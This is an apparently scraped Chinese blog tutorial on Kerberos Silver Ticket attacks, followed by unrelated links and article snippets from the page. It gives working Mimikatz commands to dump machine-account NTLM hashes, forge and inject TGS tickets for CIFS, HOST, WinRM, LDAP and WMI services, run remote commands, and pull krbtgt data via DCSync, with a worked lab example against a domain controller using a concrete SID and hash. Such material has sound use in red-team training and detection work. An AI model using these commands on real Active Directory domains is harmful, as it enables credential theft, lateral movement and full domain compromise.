0x01白银票据(Silver Tickets)定义

白银票据(Silver Tickets)是伪造Kerberos票证授予服务(TGS)的票也称为服务票据。如下图所示,与域控制器没有AS-REQ 和 AS-REP(步骤1和2),也没有TGS-REQ / TGS-REP(步骤3和4)通信。由于银票是伪造的TGS,所以没有与域控制器通信。

0x02白银票据的特点

1.白银票据是一个有效的票据授予服务(TGS)Kerberos票据,因为Kerberos验证服务运行的每台服务器都对服务主体名称的服务帐户进行加密和签名。

2.黄金票据是伪造TGT并且有效的获得任何Kerberos服务,而白银票据是伪造TGS。这意味着白银票据仅限于特定服务器上的任何服务。

3.大多数服务不验证PAC(通过将PAC校验和发送到域控制器进行PAC验证),因此使用服务帐户密码哈希生成的有效TGS可以完全伪造PAC

4.攻击者需要服务帐户密码哈希值

5.TGS是伪造的,所以没有和TGT通信,意味着DC从验证过。

6.任何事件日志都在目标服务器上。

0x03创建白银票据

为了创建或伪造白银票据,攻击者必须获得目标服务账号的密码hash值。如果目标服务正在使用中的帐户(如MS SQL)下运行,则需要服务帐户密码哈希以创建银票。使用Kerberoast(https://github.com/nidem/kerberoast)破解服务帐户密码是识别目标服务相关密码数据的一种有效防范。计算机主机服务也是最常见的服务,它是利用Windows文件共享的“cifs”服务。由于计算机本身托管此服务,因此创建白银票据所需的密码数据是关联的计算机帐户的密码哈希值。当计算机加入Active Directory时,会创建一个新的计算机帐户对象并将其添加到计算机中。密码和相关的散列哈希存储在拥有该帐户的计算机上,并且将NTLM密码散列存储在域的域控制器上的Active Directory数据库中。如果攻击者可以获得对计算机的管理权限或者能够以本地系统的身份运行代码,则攻击者可以使用Mimikatz从系统中转储AD计算机帐户密码哈希(NTLM密码哈希用于加密RC4 Kerberos门票):

Mimikatz “privilege::debug” “sekurlsa::logonpasswords” exit  #需要管理员权限

0x04 Mimikatz白银票据票命令

/domain –完整的域名称,如:lab.adsecurity.org

/sid –域的SID,如:S-1-5-21-1473643419-774954089-2222329127

/user – 域用户名

/ groups(可选) - 用户所属的组RID

/ ticket(可选) - 提供一个路径和名称,用于保存Golden Ticket文件以便日后使用,或者使用/ ptt立即将黄金票据插入到内存中以供使用

/ptt - 作为/ ticket的替代品,使用它来立即将伪造的票据插入到内存中以供使用。

/ id(可选) - 用户RID,Mimikatz默认值是500(默认管理员帐户RID)

/ startoffset(可选) - 票证可用时的起始偏移(如果使用此选项,通常设置为-10或0)Mimikatz默认值是0

/ endin(可选) - 票据有效时间,Mimikatz默认值是10年,Active Directory默认Kerberos策略设置为10小时

/ renewmax(可选) - 续订最长票据有效时间,Mimikatz默认值是10年,Active Directory默认Kerberos策略设置为最长为7天

1.白银票据需要的参数

/target –目标服务器的FQDN

FQDN:(Fully Qualified Domain Name)全限定域名:同时带有主机名和域名的名称。(通过符号“.”)

/service –运行在目标服务器上的kerberos服务,该服务主体名称类型如cifs,http,mssql等

/rc4 –服务的NTLM散列(计算机帐户或用户帐户)

2.白银票据默认组

域用户SID:S-1-5-21 <DOMAINID> -513

域管理员SID:S-1-5-21 <DOMAINID> -512

架构管理员SID:S-1-5-21 <DOMAINID> -518

企业管理员SID:S-1-5-21 <DOMAINID> -519

组策略创建所有者SID:S-1-5-21 <DOMAINID> -520

3. Mimikatz命令创建白银票据

以下Mimikatz命令会在服务器adsmswin2k8r2.lab.adsecurity.org上为CIFS服务创建白银票据。为了成功创建Silver Ticket,需要从AD域转储中或在本地系统上运行Mimikatz来获获取adsmswin2k8r2.lab.adsecurity.org中AD计算机帐户密码哈希值。NTLM密码哈希与 rc4参数一起使用。服务SPN类型也需要在/ service参数中标识。目标计算机的FQDA需要在/ target参数中使用以及/ sid参数中的域SID。命令如下:

mimikatz “kerberos::golden /user:LukeSkywalker /id:1106 /domain:lab.adsecurity.org /sid:S-1-5-21-1473643419-774954089-2222329127 /target:adsmswin2k8r2.lab.adsecurity.org /rc4:d7e2b80507ea074ad59f152a1ba20458 /service:cifs /ptt” exit

0x05 白银票据在各种服务中的实列

1.白银票据的服务列表

 Service Type  Service Silver Tickets
WMI  HOST
RPCSS

PowerShell
Remoting

 HOST
HTTP
WinRM  HOST
HTTP
Scheduled
Tasks
 HOST
 Windows
File Share (CIFS)
 CIFS

LDAP
operations including

Mimikatz DCSync

 LDAP
 Windows
Remote Server Administration Tools
 RPCSS
LDAP
CIFS

2.Windows共享(CIFS)管理访问的银票

为“ cifs ”服务创建白银票据,以获得目标计算机上任何Windows共享的管理权限。

注入CIFS Silver Ticket后,我们现在可以访问目标计算机上的任何共享,包括

c $共享,我们能够将文件拷贝到共享文件中。

3.具有管理员权限的Windows计算机(HOST)白银票据

创建银票以获得目标计算机上所涵盖的任何Windows服务的管理员权限。这包括修改和创建计划任务的权限。

利用HOST Silver Ticket,我们可以创建一个新的计划任务。

或者通过利用HOST Silver Ticket,我们可以修改存在的计划任务。

4.Silver Ticket连接到以Windows管理员权限计算机上的PowerShell远程执行

为“ http ”服务和“ wsman ”服务创建Silver Ticket,以获得目标系统上的WinRM和或PowerShell Remoting的管理权限。

注入两张HTTPWSMAN白银票据后,我们可以使用PowerShell远程(或WinRM的)反弹出目标系统shell。首先New-PSSession使用PowerShell创建到远程系统的会话的PowerShell cmdlet,然后Enter-PSSession打开远程shell。

5.白银票据证连接到具有管理员权限Windows计算机上的LDAP

为“ ldap ”服务创建Silver Ticket 以获得目标系统(包括Active
Directory)上LDAP服务的管理权限。

利用LDAP Silver Ticket,我们可以远程访问LDAP服务来获得krbtgt的信息

注:lsadump::dcsync

向 DC 发起一个同步对象(可获取帐户的密码信息)的质询。需要的权限包括管理员组(Administrators),域管理员组( Domain Admins)或企业管理员组(Enterprise Admins)以及域控制器的计算机帐户,只读域控制器默认不允许读取用户密码数据。

6.白银票据证连接到具有管理员权限Windows计算机上的WMI

为“ HOST ”服务和“ rpcss ”服务创建白银票据,以使用WMI在目标系统上远程执行命令。

注入这些白银票据之后,我们可以通过运行“klist”来确认Kerberos TGS票据在内存中注入白银票据后,我们可以通过“传票”来调用WMIC或Invoke-WmiMethod在目标系统上运行命令。

Invoke-WmiMethod win32_process -ComputerName $ Computer
-Credential $ Creds -name create -argumentlist“$ RunCommand”

7.访问域控上“cifs”服务实列

首先需要获得如下信息:

/domain

/sid

/target:目标服务器的域名全称,此处为域控的全称

/service:目标服务器上面的kerberos服务,此处为cifs

/rc4:计算机账户的NTLM hash,域控主机的计算机账户

/user:要伪造的用户名,此处可用silver测试

在域控上执行如下命令来获取域控主机的本地管理员账户hash

mimikatz log
"sekurlsa::logonpasswords"

如图:

注:

此处要找到计算机账户,也就是Username : WIN-8VVLRPIAJB0$的NTLM hash,如果是其他账户,那么会失败,也就是需要共享服务账号。

整理以上获得的信息如下:

/domain:test.local

/sid:S-1-5-21-4155807533-921486164-2767329826

/target:WIN-8VVLRPIAJB0.test.local

/service:cifs

/rc4:d5304f9ea69523479560ca4ebb5a2155

/user:silver

使用mimikatz执行如下命令导入Silver Ticket

mimikatz
"kerberos::golden /domain:test.local
/sid:S-1-5-21-4155807533-921486164-2767329826
/target:WIN-8VVLRPIAJB0.test.local /service:cifs
/rc4:d5304f9ea69523479560ca4ebb5a2155 /user:silver /ptt"

如图,成功导入,此时可以成功访问域控上的文件共享

Kerberos的白银票据详解的更多相关文章

  1. Kerberos的黄金票据详解

    0x01黄金票据的原理和条件 黄金票据是伪造票据授予票据(TGT),也被称为认证票据.如下图所示,与域控制器没有AS-REQ或AS-REP(步骤1和2)通信.由于黄金票据是伪造的TGT,它作为TGS- ...

  2. kerberos中的spn详解

    0x01 SPN定义    服务主体名称(SPN)是Kerberos客户端用于唯一标识给特定Kerberos目标计算机的服务实例名称.Kerberos身份验证使用SPN将服务实例与服务登录帐户相关联. ...

  3. 深入详解windows安全认证机制ntlm&Kerberos

    0x01 为什么要理解windows 安全认证机制: 加深对后续各种漏洞利用的理解深度,还是那句话,要知其然,更要知其所以然,不废话,咱们直接开始 0x02 windows认证协议主要有以下两种: 基 ...

  4. 详解Linux运维工程师高级篇(大数据安全方向).

    hadoop安全目录: kerberos(已发布) elasticsearch(已发布)http://blog.51cto.com/chenhao6/2113873 knox oozie ranger ...

  5. linux查看端口及端口详解

    今天现场查看了TCP端口的占用情况,如下图   红色部分是IP,现场那边问我是不是我的程序占用了tcp的链接,,我远程登陆现场查看了一下,这种类型的tcp链接占用了400多个,,后边查了一下资料,说E ...

  6. ecshop二次开发 给商品添加自定义字段【包含我自己进一步的开发实例详解】

    本文包含商品自定义添加教程及进一步的开发实例: 教程: 说起自定义字段,我想很多的朋友像我一样会想起一些开源的CMS(比如Dedecms.Phpcms.帝国)等,他们是可以在后台直接添加自定义字段的. ...

  7. 详解Linux目录(目录树详细解释)

    给大家一篇关于Linux目录 方面的详细说明,好好读一下! Linux目录详解(RHEL5.4) linux有四种基本文件系统类型:--普通文件:如文本文件.c语言源代码.shell脚本等,可以用ca ...

  8. net-snmp配置文件详解

    net-snmp配置文件详解 net-snmp的配置文件是有一定的层次结构的,配置起来也很方便.网上找了很多资料,大概把这个配置文件的各个信息搞懂了一点.其实在net-snmp的EXAMPLE.con ...

  9. iOS开发——网络编程Swift篇&Alamofire详解

    Alamofire详解 预览图 Swift Alamofire 简介 Alamofire是 Swift 语言的 HTTP 网络开发工具包,相当于Swift实现AFNetworking版本. 当然,AF ...

随机推荐

  1. 探究linux设备驱动模型之——platform虚拟总线(二)

    上回说到,platform_match是驱动和设备之间的媒人婆,那么platform_match是如何匹配驱动和设备的呢?platform总线定义的匹配条件很简单,主要就是查看驱动结构体和设备结构体的 ...

  2. [转]WIN2008 IIS7的日期格式

    最近项目升级服务器从32位升级到64位的WIN2008,日期显示格式非我们所期望的yyyy-M-d格式,原以为修改控制面板的日期格式即可,可是不行. 修改注册表问题解决. 修改方法: 运行注册表编辑器 ...

  3. Android手机测试-ddms&monitor-抓crash,log

    1.安装adb offline解决办法: 原因就是android 4.2以上的版本过高,sdk的adb驱动不匹配,需要升级.我原本的adb是1.0.29,升级为1.0.31,问题就解决了. 2.安装s ...

  4. Python+MySQL开发医院网上预约系统(课程设计)一

    一:开发环境的配置 1:桌面环境为cnetos7+python2.7 2:MySQL的安装与配置 1)MySQL的安装 MySQL官方文档: http://dev.mysql.com/doc/mysq ...

  5. PowerShell自定义修改远程桌面RDP端口

    应朋友的要求写了一个通过PowerShell修改远程桌面(Remote Desktop)端口的脚本,不复杂,启动脚本后有两个选项:1.自定义远程桌面:2.回复远程桌面的默认端口3389 发出来给有用的 ...

  6. Python 装饰器Decorator(二)

    对于上一篇“”Python闭包“”随笔中提到的make_averager()函数的如下实现,我们把历史值保存在列表里,每次计算平均值都需要重新求和,当历史值较多时,需要占用比较多的空间并且效率也不高. ...

  7. “Hello World!”团队第五周第三次会议

    今天是我们团队“Hello World!”团队第五周召开的第三次会议. 双十一大家过的怎么样?由于组内其他成员被“剁手”,今日会议记录由我来写. 博客内容: 一.会议时间 二.会议地点 三.会议成员 ...

  8. int 和 Integer的区别

    int是基本类型,默认值为0,int a=5;a只能用来计算,一般作为数值参数. Integer是引用类型,默认值为null, Integer b=5;b是一个对象,它可以有很多方法,一般做数值转换, ...

  9. Android开发第二阶段(2)

    昨天:总结了第一阶段的开发经验 今天:学习了一下java中对事件处理这块的初步了解比如设置监听器等 明天:我会走进我们的代码去看看相关的一些知识.

  10. 寒假学习计划(C++)

    课程 1,计算机程序设计(C++)-西安交通大学(中国大学mooc)课程链接 2,面向对象程序设计-C++-浙大-翁恺(网易云课堂)课程链接 理由 1西安交大的C++慕课从零基础教起,更注重基础,重点 ...